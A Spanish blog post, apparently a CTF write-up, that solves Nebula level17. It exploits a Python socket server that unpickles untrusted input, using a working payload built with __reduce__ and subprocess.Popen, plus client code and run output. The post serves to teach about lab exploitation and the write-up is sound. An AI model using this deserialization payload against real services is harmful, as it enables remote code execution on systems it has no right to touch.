Pages

martes, 24 de julio de 2018

Nebula CTF - level17

level17 nos muestra los peligros de la deserialización sobre datos de entrada procedentes de fuentes no confiables:

level17@nebula:/home/flag17$ ls -al
total 6
drwxr-x--- 2 flag17 level17   83 2011-11-20 20:40 .
drwxr-xr-x 1 root   root     120 2012-08-27 07:18 ..
-rw-r--r-- 1 flag17 flag17   220 2011-05-18 02:54 .bash_logout
-rw-r--r-- 1 flag17 flag17  3353 2011-05-18 02:54 .bashrc
-rw-r--r-- 1 root   root     520 2011-11-20 21:22 flag17.py
-rw-r--r-- 1 flag17 flag17   675 2011-05-18 02:54 .profile

El siguiente script en Python está esperando conexiones en el puerto 10007:

#!/usr/bin/python

import os
import pickle
import time
import socket
import signal

signal.signal(signal.SIGCHLD, signal.SIG_IGN)

def server(skt):
    line = skt.recv(1024)

    obj = pickle.loads(line)

    for i in obj:
        clnt.send("why did you send me " + i + "?\n")

skt = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
skt.bind(('0.0.0.0', 10007))
skt.listen(10)

while True:
    clnt, addr = skt.accept()

    if(os.fork() == 0):
        clnt.send("Accepted connection from %s:%d" % (addr[0], addr[1]))
        server(clnt)
        exit(1)

pickle es un modulo que ofrece un potente algoritmo (cPickle es una implementación en C mucho más rápida) para serializar y deserializar objetos en Python. pickle tiene ciertas ventajas sobre otras implementaciones como marshal que no trataremos aquí. Lo que sí tienen ambos en común es la siguiente advertencia de la documentación oficial:

Warning

The pickle module is not secure against erroneous or maliciously
constructed data. Never unpickle data received from an untrusted
or unauthenticated source. 

Es decir, no deserialices un objeto con pickle si el input proviene de una fuente no confiable. Artículos como Arbitrary code execution with Python pickles, nos enseñan como construir objetos manualmente que conducen a ejecución arbitraria de comandos, no obstante, la documentación oficial de pickle es suficiente para lograr superar el reto:

11.1.5.2. Pickling and unpickling extension types

object.__reduce__()

    When the Pickler encounters an object of a type it knows nothing about
— such as an extension type — it looks in two places for a hint of how to
pickle it. One alternative is for the object to implement a __reduce__() method.
If provided, at pickling time __reduce__() will be called with no arguments,
and it must return either a string or a tuple.

When a tuple is returned, it must be between two and five elements long.
Optional elements can either be omitted, or None can be provided as their
value. The contents of this tuple are pickled as normal and used to
reconstruct the object at unpickling time. The semantics of each element are:

    A callable object that will be called to create the initial version of
the object. The next element of the tuple will provide arguments for this
callable, and later elements provide additional state information that will
subsequently be used to fully reconstruct the pickled data.

    In the unpickling environment this object must be either a class, a
callable registered as a “safe constructor” (see below), or it must have
an attribute __safe_for_unpickling__ with a true value. Otherwise, an
UnpicklingError will be raised in the unpickling environment. Note that
as usual, the callable itself is pickled by name.

    A tuple of arguments for the callable object.

Lo que esto nos dice, es que podemos definir una clase con un método __reduce__(), el cual devolverá una tupla en la que el primer elemento será una función (subprocess.Popen() o subprocess.call() son perfectamente válidos para nuestro callable object), y otra tupla con los argumentos que se pasarán a dicha función. Para el argumento que Popen() o call() procesará, reutilizaremos el script del anterior reto, al que llamaremos /tmp/boom y le daremos permisos de ejecución chmod +x /tmp/boom:

#!/bin/sh

/bin/getflag > /tmp/pwned

Finalmente creamos el exploit en Python:

import socket
import cPickle
import subprocess

class Fake(object):
        def __reduce__(self):
                return (subprocess.Popen, ('/tmp/boom',))

def connect(ip, port):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        try:
                s.connect((ip, port))
                print("[+] Conectado a " + ip + ":" + str(port))
        except:
                print("[X] Se producjo un error de conexion")
                exit(1)

        return s

def getFakePickled():
        fake = cPickle.dumps(Fake())
        print fake
        return fake

def exploit():
        s = connect("localhost", 10007)
        print(s.recv(1024))
        s.send(getFakePickled())
        s.close()

if __name__ == "__main__":
        exploit()

Lo lanzamos y...

level17@nebula:/home/flag17$ python /tmp/l17exploit.py; ls -al /tmp
[+] Conectado a localhost:10007
Accepted connection from 127.0.0.1:54784
csubprocess
Popen
p1
(S'/tmp/boom'
p2
tp3
Rp4
.
total 12
drwxrwxrwt 4 root    root    140 2018-07-23 06:09 .
drwxr-xr-x 1 root    root    220 2018-07-23 02:33 ..
-rwxrwxr-x 1 level17 level17  39 2018-07-23 05:46 boom
drwxrwxrwt 2 root    root     40 2018-07-23 02:34 .ICE-unix
-rw-rw-r-- 1 level17 level17 710 2018-07-23 06:10 l17exploit.py
-rw-r--r-- 1 flag17  flag17   59 2018-07-23 06:10 pwned
drwxrwxrwt 2 root    root     40 2018-07-23 02:34 .X11-unix
level17@nebula:/home/flag17$ cat /tmp/pwned
You have successfully executed getflag on a target account

Pwned!

No hay comentarios:

Publicar un comentario

Protostar CTF - stack5

En ./stack5 continuamos con la dinámica de los dos últimos retos: dpc@kernelinside:~/protostar/bin$ ./stack5 test dpc@kernelinside:~/p...